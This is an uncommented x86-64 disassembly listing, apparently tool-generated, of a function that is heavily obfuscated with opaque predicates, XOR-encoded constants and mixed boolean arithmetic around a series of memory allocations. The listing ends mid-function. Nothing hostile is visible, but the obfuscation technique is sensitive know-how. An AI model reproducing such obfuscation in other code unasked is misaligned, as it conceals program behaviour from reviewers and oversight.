xor ecx, 0xd92eea8e
mov dword [rbp + 0x168], ecx
mov byte [rax], 0
sub rsp, 0x20
call fcn.14023d908
mov rdx, qword [rbp + 0x3e8]
mov ecx, dword [rbp + 0x168]
mov eax, dword [rbp + 0x16c]
add rsp, 0x20
mov dl, byte [rdx]
mov r8b, 0x90
xor r8b, 0x90
cmp dl, r8b
sete dl
mov byte [rbp + 0x173], dl
cmp eax, ecx
je 0x14023d7f1
mov rax, qword [rbp + 0x188]
mov rcx, qword [rbp + 0x180]
mov dl, byte [rbp + 0x173]
test dl, 1
mov qword [rbp + 0x248], rcx
mov qword [rbp + 0x250], rax
jne 0x14023a03e
jmp 0x14023d37c
mov r11d, dword [0x1402504d8]
mov eax, dword [0x1402504dc]
xor eax, 0x2a2092d4
add r11d, eax
mov eax, 0x68fff9ed
xor eax, 0xb35a9964
imul r11d, eax
mov eax, 0xfded8118
xor eax, 0x2127ee7
mov ecx, r11d
xor ecx, eax
mov edx, 0x7ae21f79
xor edx, 0x4235f507
mov eax, 0x76050e19
xor eax, 0x89faf1e6
xor edx, eax
mov r8d, 0xecba773c
xor r8d, 0x68e87069
mov eax, 0xf9890bf3
xor eax, 0x676f40c
xor r8d, eax
mov eax, ecx
and eax, 0x84520755
and r11d, r8d
mov r9d, edx
and r9d, 0x84520755
mov r10d, r8d
and r10d, 0x38d7ea7e
or eax, r11d
or r9d, r10d
xor eax, r9d
or ecx, edx
mov edx, 0xd68de62b
xor edx, 0x297219d4
xor ecx, edx
mov edx, 0xf0da41cc
xor edx, 0x74884699
or edx, r8d
and ecx, edx
or eax, ecx
add eax, 0x96031f17
cmp eax, 0xa2235137
je 0x14023d7fa
mov rax, qword [rbp + 0x380]
mov rcx, qword [rbp + 0x378]
mov edx, dword [0x1402504e0]
xor edx, 0x1ccfd635
and edx, dword [0x1402504e4]
mov r8d, 0xa6098d07
xor r8d, 0xa6098d07
sub r8d, edx
mov edx, 0x3dc63948
xor edx, 0x3dc63948
mov r9d, 0xa319516d
xor r9d, 0x49b578ad
sub edx, r9d
add r8d, edx
mov edx, 0x89cc3542
xor edx, 0x89cc3542
sub edx, r8d
add edx, 0xc6b62ef
mov r8d, edx
xor r8d, 0x144b230d
mov r9d, 0x5ab4acfc
xor r9d, 0xa54b5303
xor r8d, r9d
and r8d, 0x144b230d
shl r8d, 1
sub r8d, 0x144b230d
sub edx, r8d
mov dword [rbp + 0x160], edx
mov qword [rbp + 0x528], 0
mov qword [rbp + 0x520], 0
mov qword [rbp + 0x518], 0
mov qword [rbp + 0x510], 0
mov qword [rbp + 0x508], 0
mov qword [rbp + 0x500], 0
mov qword [rbp + 0x4f8], 0
mov qword [rbp + 0x4f0], 0
mov qword [rcx], 0
mov qword [rbp + 0x4e8], 0
mov qword [rax], 0
mov qword [rbp + 0x4e0], 0
mov qword [rbp + 0x4d8], 0
mov ecx, 1
sub rsp, 0x20
call fcn.1401572d0
mov rcx, qword [rbp + 0x3e8]
mov eax, dword [rbp + 0x160]
add rsp, 0x20
mov cl, byte [rcx]
mov dl, 0x67
xor dl, 0x67
cmp cl, dl
sete cl
mov byte [rbp + 0x167], cl
cmp eax, 0x801a255b
je 0x14023d7fa
mov dl, byte [rbp + 0x167]
mov cl, 1
xor eax, eax
test dl, 1
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023a278
jmp 0x14023cc20
mov rax, qword [0x14025a960]
mov rax, qword [rax]
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x140], rcx
cmp rcx, 0
mov qword [rbp + 0x148], rax
je 0x14023a2e4
mov rcx, qword [rbp + 0x140]
sub rsp, 0x20
call fcn.14015e827
mov rdx, qword [rbp + 0x3e8]
add rsp, 0x20
mov cl, 1
xor eax, eax
cmp byte [rdx], 0
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
mov rax, qword [0x14025a960]
mov rax, qword [rax]
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x138], rax
cmp rax, 0
je 0x14023a909
mov rax, qword [rbp + 0x138]
cmp qword [rax], 0
je 0x14023a909
mov rcx, qword [rbp + 0x3d8]
mov rax, qword [rbp + 0x138]
mov rdx, qword [rax]
mov qword [rcx], rdx
mov rax, qword [rax + 8]
mov qword [rcx + 8], rax
sub rsp, 0x20
call fcn.1400ef4c0
mov rdx, qword [rbp + 0x3e8]
add rsp, 0x20
mov qword [rbp + 0x120], rax
mov cl, 1
xor eax, eax
cmp byte [rdx], 0
mov byte [rbp + 0x12f], cl
mov qword [rbp + 0x130], rax
jne 0x14023a540
mov rcx, qword [rbp + 0x120]
sub rsp, 0x20
call fcn.14015ffa6
mov rdx, qword [rbp + 0x3e8]
mov rax, qword [rbp + 0x120]
add rsp, 0x20
mov cl, 1
cmp byte [rdx], 0
mov byte [rbp + 0x12f], cl
mov qword [rbp + 0x130], rax
jne 0x14023a540
mov rcx, qword [rbp + 0x120]
xor eax, eax
cmp byte [rcx + 0x44], 0
mov byte [rbp + 0x11f], al
je 0x14023a43f
movabs rdx, 0xdb62c99ba79bbb05
movabs rax, 0xdb62c99ba79bbb15
xor rdx, rax
lea rcx, [rbp + 0x438]
sub rsp, 0x20
call fcn.14023d93c
add rsp, 0x20
lea rax, [0x140237530]
mov qword [rbp + 0x438], rax
mov qword [rbp + 0x440], 0
mov rax, qword [rbp + 0x438]
mov qword [rbp + 0x428], rax
mov rax, qword [rbp + 0x440]
mov qword [rbp + 0x430], rax
lea rcx, [rbp + 0x568]
lea rdx, [rbp + 0x428]
sub rsp, 0x20
call fcn.14002237f
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
mov al, byte [rax]
mov byte [rbp + 0x11f], al
mov al, byte [rbp + 0x11f]
mov byte [rbp + 0x11e], al
mov ecx, dword [0x1402504e8]
or ecx, dword [0x1402504ec]
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xf4d55849
xor edx, 0x36509bd7
mov r8d, 0x3ea4b8cf
xor r8d, 0xfc217b51
or edx, r8d
xor edx, 0xffffffff
or eax, edx
mov edx, 0x96d510e4
xor edx, 0x692aef1b
xor eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xc285c39e
and ecx, edx
xor eax, 0xffffffff
mov edx, 0x3181a46
xor edx, 0xfce7e5b9
xor ecx, edx
and eax, ecx
xor ecx, ecx
sub ecx, 0x277fdb6b
add eax, ecx
mov edx, 0xfe4e2319
xor edx, 0x1b1dce6
mov ecx, eax
xor ecx, edx
and ecx, 0xc1178f8f
mov edx, 0xffffffff
xor edx, 0xc1178f8f
and eax, edx
sub eax, ecx
cmp eax, 0x8d51239c
ja 0x14023d803
mov eax, dword [0x1402504f0]
mov ecx, dword [0x1402504f4]
xor ecx, 0x89377214
xor eax, ecx
imul eax, eax, 0xfcce57cd
mov ecx, 0x596737b6
xor edx, edx
div ecx
mov ecx, 0x3e941a95
xor ecx, 0x3c3432ef
sub eax, ecx
cmp eax, 0x9723a518
je 0x14023a4e6
mov rax, qword [rbp + 0x120]
mov cl, byte [rbp + 0x11e]
mov byte [rbp + 0x12f], cl
mov qword [rbp + 0x130], rax
jmp 0x14023a540
mov rax, qword [rbp + 0x3e8]
mov dl, byte [rbp + 0x12f]
mov rcx, qword [rbp + 0x130]
mov byte [rbp + 0x11d], dl
mov byte [rax], 0
sub rsp, 0x20
call fcn.1400fa510
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
cmp byte [rax], 0
jne 0x14023a62d
mov eax, dword [0x1402504f8]
xor edx, edx
div dword [0x1402504fc]
sub eax, 0xa32819b9
mov edx, 0x9c9420a8
xor edx, 0x9e3bc2f0
mov ecx, eax
and ecx, edx
shl ecx, 1
add eax, 0x2afe258
sub eax, ecx
or eax, 0x7ea5438d
cmp eax, 0x4460aa62
je 0x14023d80c
mov rdx, qword [rbp + 0x3e8]
mov r8b, byte [rbp + 0x11d]
mov eax, dword [0x140250500]
mov ecx, dword [0x140250504]
xor ecx, 0x494df9f1
add eax, ecx
mov ecx, 0x4c77966c
xor ecx, 0xd6e7680d
add eax, ecx
and eax, 0x5cc0ef81
xor eax, 0x9a6e7090
mov ecx, 0x6b4a7382
xor ecx, 0x5bd72573
mov r9b, 0xfc
xor r9b, 0xfc
cmp r8b, r9b
sete r9b
mov byte [rbp + 0x11c], r9b
mov byte [rdx], r8b
cmp eax, ecx
jbe 0x14023a5b6
mov al, byte [rbp + 0x11c]
test al, 1
jne 0x14023a909
jmp 0x14023a62d
sub rsp, 0x20
call fcn.14023d9b0
add rsp, 0x20
mov rax, qword [rax]
mov qword [rbp + 0x110], rax
cmp word [rax + 0x12], 1
jle 0x14023a7c6
mov rax, qword [rbp + 0x110]
mov rax, qword [rax + 0x18]
cmp dword [rax + 8], 0xc5722261
jne 0x14023a7c6
mov rax, qword [rbp + 0x3e8]
mov byte [rax], 0
sub rsp, 0x20
call fcn.14023d8db
add rsp, 0x20
mov rcx, rax
sub rsp, 0x20
call fcn.14009c190
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
mov dl, byte [rax]
mov r8b, 0xd4
xor r8b, 0xd4
mov cl, 1
xor eax, eax
cmp dl, r8b
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
mov ecx, dword [0x140250508]
add ecx, dword [0x14025050c]
mov edx, 0x49d10cb2
xor edx, 0xb62ef34d
mov eax, ecx
xor eax, edx
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
mov edx, 0xc38a0715
xor edx, 0x3c75f8ea
xor eax, edx
mov edx, 0xffffffff
xor edx, 0x51264f47
or eax, edx
mov edx, 0x455aa82
xor edx, 0x5573e5c5
mov r8d, 0x892a0a85
xor r8d, 0x76d5f57a
xor edx, r8d
mov r8d, 0xffffffff
xor r8d, 0x51264f47
or edx, r8d
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
xor eax, 0x70dcc19
mov ecx, 0x29d829eb
xor edx, edx
div ecx
mov ecx, 0xfadb53bf
xor ecx, 0x5ffa1cab
cmp eax, ecx
ja 0x14023d815
mov eax, dword [0x140250510]
xor eax, 0x310d1b5e
and eax, dword [0x140250514]
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xd5f7eeba
mov edx, 0xffffffff
xor edx, 0xd5f7eeba
and eax, edx
sub eax, ecx
add eax, 0x3d2ec7c
mov ecx, 0x79810a6b
xor ecx, 0xeef2e9c
xor eax, ecx
mov dword [rbp + 0x10c], eax
mov eax, 0x11cac2f6
xor eax, 0x62b10ae8
mov dword [rbp + 0x108], eax
sub rsp, 0x20
call fcn.14023d908
mov ecx, dword [rbp + 0x108]
mov eax, dword [rbp + 0x10c]
add rsp, 0x20
cmp eax, ecx
ja 0x14023d815
jmp 0x14023a7c6
mov eax, dword [0x140250518]
add eax, dword [0x14025051c]
mov ecx, 0x97734f0c
xor ecx, 0x54d8d941
add eax, ecx
imul eax, eax, 0x978e8fff
mov r8d, 0xffffffff
xor r8d, 0x9a2bc49a
mov edx, eax
and edx, r8d
mov ecx, eax
or ecx, r8d
mov r8d, 0xd72938b8
xor r8d, 0x28d6c747
xor ecx, r8d
imul ecx, edx
mov r8d, 0xc7fb0e16
xor r8d, 0x5dd0ca8c
mov edx, eax
and edx, r8d
mov r8d, 0xa1a37c1
xor r8d, 0x9031f35b
or eax, r8d
imul eax, edx
add eax, ecx
mov ecx, 0x1abcf908
xor ecx, 0x70393ffe
cmp eax, ecx
je 0x14023d81e
mov rcx, qword [rbp + 0x3e8]
mov edx, dword [0x140250520]
add edx, dword [0x140250524]
mov eax, 0x685eb93b
xor eax, 0x97a146c4
mov r8d, edx
xor r8d, eax
mov eax, 0xa52d419c
xor eax, 0xdbdb982a
and eax, r8d
mov r8d, 0xffffffff
xor r8d, 0x7ef6d9b6
and edx, r8d
or eax, edx
or eax, 0x296e27cc
mov edx, 0xffffffff
xor edx, 0xa5976b8f
mov r8d, 0x1eadc408
xor r8d, 0x1eadc408
mov r9d, 0xbc34a1b9
xor r9d, 0xbc34a1b8
sub r8d, r9d
sub edx, r8d
sub eax, edx
mov cl, byte [rcx]
mov byte [rbp + 0x106], cl
mov dl, 0x9d
xor dl, 0x9d
cmp cl, dl
sete cl
mov byte [rbp + 0x107], cl
cmp eax, 0x2c1430fa
jbe 0x14023a849
mov cl, byte [rbp + 0x106]
mov dl, byte [rbp + 0x107]
xor eax, eax
test dl, 1
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023a909
jmp 0x14023cc20
mov edx, 4
sub rsp, 0x20
mov rcx, rdx
call fcn.1400129fd
add rsp, 0x20
mov qword [rbp + 0x528], rax
mov ecx, 0x28
mov edx, 8
sub rsp, 0x20
call fcn.1400129fd
add rsp, 0x20
mov qword [rbp + 0xf8], rax
mov rcx, qword [0x14025a6e8]
mov qword [rax], rcx
mov rcx, qword [rbp + 0x528]
sub rsp, 0x20
call fcn.14015ffd1
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0xf8]
mov qword [rax + 0x10], rcx
mov ecx, 0x6400000
sub rsp, 0x20
call fcn.14013b6f0
mov rdx, qword [rbp + 0x3e8]
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0xf8]
mov qword [rax + 0x18], rcx
mov cl, 1
xor eax, eax
cmp byte [rdx], 0
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
mov eax, dword [0x140250528]
mov ecx, dword [0x14025052c]
xor ecx, 0xf03af456
and eax, ecx
mov ecx, 0x164631f8
xor ecx, 0x54add825
or eax, ecx
or eax, 0x6d0aee3b
imul eax, eax, 0x8aeb2365
cmp eax, 0x424daa25
jae 0x14023d827
mov ecx, dword [0x140250530]
mov eax, dword [0x140250534]
xor eax, 0x275c92b9
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0x77122573
xor edx, 0x88edda8c
xor ecx, edx
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x81e91b52
mov edx, 0xffffffff
xor edx, 0x81e91b52
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov edx, 0x94d16ca8
xor edx, 0x96a99bb9
mov ecx, eax
xor ecx, edx
mov edx, 0xffffffff
xor edx, 0x278f711
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, 0x590b4b0f
xor edx, edx
div ecx
mov ecx, eax
mov rax, qword [rbp + 0xf8]
mov dword [rbp + 0xf0], ecx
mov qword [rbp + 0x520], rax
mov ecx, 0x28
mov edx, 8
sub rsp, 0x20
call fcn.1400129fd
add rsp, 0x20
mov qword [rbp + 0xe8], rax
mov rcx, qword [0x14025a6c0]
mov qword [rax], rcx
mov rcx, qword [rbp + 0x528]
sub rsp, 0x20
call fcn.14015ffd1
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0xe8]
mov qword [rax + 0x10], rcx
movabs rcx, 0xcf5e89e805f83f29
movabs rax, 0xcf5e89e803b83f29
xor rcx, rax
sub rsp, 0x20
call fcn.14013b6f0
mov rdx, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0x3e8]
add rsp, 0x20
mov r8, rax
mov eax, dword [rbp + 0xf0]
mov qword [rdx + 0x18], r8
cmp byte [rcx], 0
sete cl
mov byte [rbp + 0xf7], cl
cmp eax, 0x7d10cc1c
je 0x14023d827
mov dl, byte [rbp + 0xf7]
mov cl, 1
xor eax, eax
test dl, 1
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023ab33
jmp 0x14023cc20
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x518], rax
mov ecx, 0x28
mov edx, 8
sub rsp, 0x20
call fcn.1400129fd
add rsp, 0x20
mov qword [rbp + 0xe0], rax
mov rcx, qword [0x14025a750]
mov qword [rax], rcx
mov rcx, qword [rbp + 0x528]
sub rsp, 0x20
call fcn.14015ffd1
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0xe0]
mov qword [rax + 0x10], rcx
movabs rcx, 0xe4cda19cc6cd241c
movabs rax, 0xe4cda19cc44d241c
xor rcx, rax
sub rsp, 0x20
call fcn.14013b6f0
mov rdx, qword [rbp + 0x3e8]
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0xe0]
mov qword [rax + 0x18], rcx
mov cl, 1
xor eax, eax
cmp byte [rdx], 0
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
mov eax, dword [0x140250538]
xor edx, edx
div dword [0x14025053c]
mov edx, 0x8d1ab1b1
xor edx, 0x5486010
mov ecx, eax
and ecx, edx
shl ecx, 1
xor eax, 0x8852d1a1
add eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x866775ca
mov edx, 0x19806ae
xor edx, 0x19806ae
mov r8d, 0xb813ba2a
xor r8d, 0xb813ba2b
sub edx, r8d
sub ecx, edx
sub eax, ecx
mov ecx, eax
xor ecx, 0x14dfac67
xor ecx, 0xffffffff
or eax, 0x14dfac67
and eax, ecx
cmp eax, 0x3f79fcaf
je 0x14023d830
mov eax, dword [0x140250540]
mov r8d, dword [0x140250544]
mov ecx, eax
xor ecx, 0xffffffff
mov edx, r8d
and edx, ecx
mov r9d, r8d
xor r9d, 0xffffffff
mov ecx, eax
and ecx, r9d
imul ecx, edx
mov edx, eax
and edx, r8d
or eax, r8d
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x98b5e4ac
mov edx, 0xffffffff
xor edx, 0x98b5e4ac
and eax, edx
sub eax, ecx
imul eax, eax, 0xd970f26d
mov ecx, 0x64d3aacf
xor ecx, 0xd8b3955a
xor edx, edx
div ecx
mov ecx, eax
mov rax, qword [rbp + 0xe0]
mov dword [rbp + 0xd8], ecx
mov qword [rbp + 0x510], rax
mov ecx, 0x28
mov edx, 8
sub rsp, 0x20
call fcn.1400129fd
add rsp, 0x20
mov qword [rbp + 0xd0], rax
mov rcx, qword [0x14025a700]
mov qword [rax], rcx
mov rcx, qword [rbp + 0x528]
sub rsp, 0x20
call fcn.14015ffd1
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0xd0]
mov qword [rax + 0x10], rcx
mov ecx, 0xa00000
sub rsp, 0x20
call fcn.14013b6f0
mov rdx, qword [rbp + 0xd0]
mov rcx, qword [rbp + 0x3e8]
add rsp, 0x20
mov r8, rax
mov eax, dword [rbp + 0xd8]
mov qword [rdx + 0x18], r8
cmp byte [rcx], 0
sete cl
mov byte [rbp + 0xdf], cl
cmp eax, 0xb670c0f5
ja 0x14023ac4c
mov dl, byte [rbp + 0xdf]
mov cl, 1
xor eax, eax
test dl, 1
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023ad77
jmp 0x14023cc20
mov rax, qword [rbp + 0xd0]
mov qword [rbp + 0x508], rax
mov ecx, 0x48
mov edx, 8
sub rsp, 0x20
call fcn.1400129fd
add rsp, 0x20
mov qword [rbp + 0xc8], rax
mov rcx, qword [0x14025a7a8]
mov qword [rax], rcx
mov rcx, qword [rbp + 0x528]
sub rsp, 0x20
call fcn.14015ffd1
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0xc8]
mov qword [rax + 0x10], rcx
mov ecx, 0x1400000
sub rsp, 0x20
call fcn.14013b6f0
mov rdx, qword [rbp + 0x3e8]
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0xc8]
mov qword [rax + 0x18], rcx
mov cl, 1
xor eax, eax
cmp byte [rdx], 0
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
mov eax, dword [0x140250548]
mov r8d, dword [0x14025054c]
xor r8d, 0x64c255fa
mov edx, 0x1e94a63
xor edx, 0xfe16b59c
mov ecx, eax
xor ecx, edx
mov edx, r8d
and edx, ecx
mov ecx, 0x703660f9
xor ecx, 0x8fc99f06
mov r9d, r8d
xor r9d, ecx
mov ecx, eax
and ecx, r9d
imul ecx, edx
mov edx, eax
and edx, r8d
or eax, r8d
imul eax, edx
add eax, ecx
add eax, 0x6de09af9
sub eax, 0x1295e32
sub eax, 0x6de09af9
mov ecx, eax
and ecx, 0x679a6353
or eax, 0x679a6353
add ecx, eax
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x2bc304b7
mov r8d, 0xb22daab5
xor r8d, 0x99eeae02
mov r9d, 0x9f3969e6
xor r9d, 0x60c69619
xor r8d, r9d
and edx, r8d
or eax, edx
mov edx, 0x3e2ed23d
xor edx, 0xc1d12dc2
xor eax, edx
xor ecx, 0xffffffff
mov edx, 0x82031ad2
xor edx, 0xa9c01e65
mov r8d, 0xae8277ab
xor r8d, 0x517d8854
xor edx, r8d
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x422277bf
xor ecx, 0xd8598e6b
cmp eax, ecx
je 0x14023d839
mov rax, qword [rbp + 0xc8]
mov ecx, dword [0x140250550]
xor ecx, 0xa4ef3fc2
and ecx, dword [0x140250554]
xor ecx, 0xe80b6dfc
mov edx, 0x602ec84e
xor edx, 0x602ec84e
sub edx, ecx
mov ecx, 0x2793f0e8
xor ecx, 0x2793f0e8
mov r8d, 0xcb78a740
xor r8d, 0x3e28c644
sub ecx, r8d
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov r8d, ecx
xor r8d, 0xffffffff
and r8d, 0x4d69384b
mov r9d, 0xffffffff
xor r9d, 0x4d69384b
mov edx, ecx
and edx, r9d
imul edx, r8d
mov r9d, 0x4dc61f7a
xor r9d, 0xaf2731
mov r8d, ecx
and r8d, r9d
or ecx, 0x4d69384b
imul ecx, r8d
add ecx, edx
mov dword [rbp + 0xc0], ecx
mov qword [rbp + 0x500], rax
mov ecx, 0x28
mov edx, 8
sub rsp, 0x20
call fcn.1400129fd
add rsp, 0x20
mov qword [rbp + 0xb8], rax
mov rcx, qword [0x14025a720]
mov qword [rax], rcx
mov rcx, qword [rbp + 0x528]
sub rsp, 0x20
call fcn.14015ffd1
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0xb8]
mov qword [rax + 0x10], rcx
mov ecx, 0x500000
sub rsp, 0x20
call fcn.14013b6f0
mov rdx, qword [rbp + 0xb8]
mov rcx, qword [rbp + 0x3e8]
add rsp, 0x20
mov r8, rax
mov eax, dword [rbp + 0xc0]
mov qword [rdx + 0x18], r8
cmp byte [rcx], 0
sete cl
mov byte [rbp + 0xc7], cl
cmp eax, 0xa10626d6
jb 0x14023aef8
mov dl, byte [rbp + 0xc7]
mov cl, 1
xor eax, eax
test dl, 1
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023b048
jmp 0x14023cc20
mov r11d, dword [0x140250558]
xor r11d, 0xb165754
mov r10d, dword [0x14025055c]
mov eax, r11d
xor eax, 0xffffffff
mov ecx, 0x226d8e1d
xor ecx, 0xdd9271e2
mov r8d, r10d
xor r8d, ecx
mov edx, 0xffffffff
xor edx, 0x78792404
mov ecx, eax
and ecx, 0x78792404
and r11d, edx
mov esi, 0x4ef56019
xor esi, 0x368c441d
mov r9d, r8d
and r9d, esi
and r10d, edx
or ecx, r11d
or r9d, r10d
xor ecx, r9d
or eax, r8d
mov r8d, 0x621f4b1f
xor r8d, 0x9de0b4e0
xor eax, r8d
or edx, 0x78792404
and eax, edx
or ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
and eax, 0x34228ba9
xor eax, 0xffffffff
mov edx, 0x34228ba9
and edx, 0x34228ba9
xor edx, 0xffffffff
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xe02e0d9b
xor edx, edx
div ecx
sub eax, 0x95bdcbc8
mov ecx, 0x3dd9698e
xor ecx, 0xa5795212
cmp eax, ecx
jae 0x14023d842
mov eax, dword [0x140250560]
xor edx, edx
div dword [0x140250564]
mov edx, 0x3e68e4ba
xor edx, 0xa32b29d9
mov ecx, eax
xor ecx, edx
mov edx, 0xffffffff
xor edx, 0x9d43cd63
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, 0x69f14dd
xor ecx, 0x36b00528
xor edx, edx
div ecx
mov edx, 0x887d3b34
xor edx, 0x13d9a81d
mov ecx, eax
xor ecx, edx
mov edx, 0x1893a90c
xor edx, 0xe76c56f3
xor ecx, edx
or eax, 0x9ba49329
and eax, ecx
mov dword [rbp + 0xb0], eax
mov ecx, 0x28
mov edx, 8
sub rsp, 0x20
call fcn.1400129fd
add rsp, 0x20
mov qword [rbp + 0xa8], rax
mov rcx, qword [0x14025a6a8]
mov qword [rax], rcx
mov rcx, qword [rbp + 0x528]
sub rsp, 0x20
call fcn.14015ffd1
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0xa8]
mov qword [rax + 0x10], rcx
movabs rcx, 0xbef18cda0a544a40
movabs rax, 0xbef18cda09744a40
xor rcx, rax
sub rsp, 0x20
call fcn.14013b6f0
mov rdx, qword [rbp + 0xa8]
mov rcx, qword [rbp + 0x3e8]
add rsp, 0x20
mov r8, rax
mov eax, dword [rbp + 0xb0]
mov qword [rdx + 0x18], r8
cmp byte [rcx], 0
sete cl
mov byte [rbp + 0xb7], cl
cmp eax, 0xc37aecb9
ja 0x14023b117
mov rax, qword [rbp + 0xb8]
mov dl, byte [rbp + 0xb7]
mov cl, 1
test dl, 1
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023b248
jmp 0x14023cc20
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0x4f8], rax
mov ecx, 0x30
mov edx, 8
sub rsp, 0x20
call fcn.1400129fd
add rsp, 0x20
mov qword [rbp + 0xa0], rax
mov rcx, qword [0x14025a710]
mov qword [rax], rcx
mov rcx, qword [rbp + 0x528]
sub rsp, 0x20
call fcn.14015ffd1
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0xa0]
mov qword [rax + 0x10], rcx
mov ecx, 0x200000
sub rsp, 0x20
call fcn.14013b6f0
mov rcx, qword [rbp + 0xa0]
mov rdx, qword [rbp + 0x3e8]
add rsp, 0x20
mov r8, rax
mov rax, qword [rbp + 0xb8]
mov qword [rcx + 0x18], r8
mov cl, 1
cmp byte [rdx], 0
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023cc20
mov eax, dword [0x140250568]
and eax, dword [0x14025056c]
mov ecx, 0x2aabd486
xor edx, edx
div ecx
mov r11d, eax
xor eax, eax
sub eax, 0xcc6927b4
sub r11d, eax
mov ecx, r11d
xor ecx, 0xffffffff
mov r8d, 0xffffffff
xor r8d, 0x563f6b34
mov edx, 0xffffffff
xor edx, 0x1a96354d
mov eax, ecx
and eax, 0x1a96354d
and r11d, edx
mov r9d, r8d
and r9d, 0x1a96354d
mov r10d, edx
and r10d, 0x563f6b34
or eax, r11d
or r9d, r10d
xor eax, r9d
or ecx, r8d
xor ecx, 0xffffffff
or edx, 0x1a96354d
and ecx, edx
or eax, ecx
cmp eax, 0x95d30d0f
je 0x14023d84b
mov eax, dword [0x140250570]
and eax, dword [0x140250574]
mov ecx, 0xd5db76f5
xor ecx, 0xa51aafc7
xor eax, ecx
mov ecx, 0xb0bfee1f
xor ecx, 0x4f4011e0
xor eax, ecx
mov edx, 0xffffffff
xor edx, 0x762e43e9
mov ecx, 0x546aa543
xor ecx, 0x3f971fd2
mov r8d, 0x78011a15
xor r8d, 0x87fee5ea
xor ecx, r8d
or eax, edx
or ecx, 0x6bfdba91
xor eax, 0xffffffff
and eax, ecx
mov ecx, 0x215b0bc
xor edx, edx
div ecx
mov ecx, eax
mov rax, qword [rbp + 0xa0]
mov dword [rbp + 0x98], ecx
mov ecx, 0x856a73a3
xor ecx, 0xbb7ebfc8
mov dword [rbp + 0x94], ecx
mov qword [rbp + 0x4f0], rax
movabs rcx, 0xc8fc428aacd81292
movabs rax, 0xc8fc428aacd812ba
xor rcx, rax
movabs rdx, 0x8cecb9cd39370087
movabs rax, 0x8cecb9cd3937008f
xor rdx, rax
sub rsp, 0x20
call fcn.1400129fd
add rsp, 0x20
mov qword [rbp + 0x88], rax
mov rcx, qword [0x14025a738]
mov qword [rax], rcx
mov rcx, qword [rbp + 0x528]
sub rsp, 0x20
call fcn.14015ffd1
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x88]
mov qword [rax + 0x10], rcx
mov ecx, 0x6400000
sub rsp, 0x20
call fcn.14013b6f0
mov r8, qword [rbp + 0x88]
mov rdx, qword [rbp + 0x3e8]
mov ecx, dword [rbp + 0x94]
add rsp, 0x20
mov r9, rax
mov eax, dword [rbp + 0x98]
mov qword [r8 + 0x18], r9
cmp byte [rdx], 0
sete dl
mov byte [rbp + 0x9f], dl
cmp eax, ecx
jae 0x14023d84b
mov rax, qword [rbp + 0xb8]
mov dl, byte [rbp + 0x9f]
mov cl, 1
test dl, 1
mov byte [rbp + 0x157], cl
mov qword [rbp + 0x158], rax
jne 0x14023b4d0
jmp 0x14023cc20
mov rax, qword [rbp + 0x378]
mov rcx, qword [rbp + 0x88]
mov qword [rax], rcx
mov ecx, 0x28
mov edx, 8
sub rsp, 0x20
call fcn.1400129fd
add rsp, 0x20
mov qword [rbp + 0x80], rax
mov rcx, qword [0x14025a790]
mov qword [rax], rcx
mov rcx, qword [rbp + 0x528]
sub rsp, 0x20
call fcn.14015ffd1
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x80]
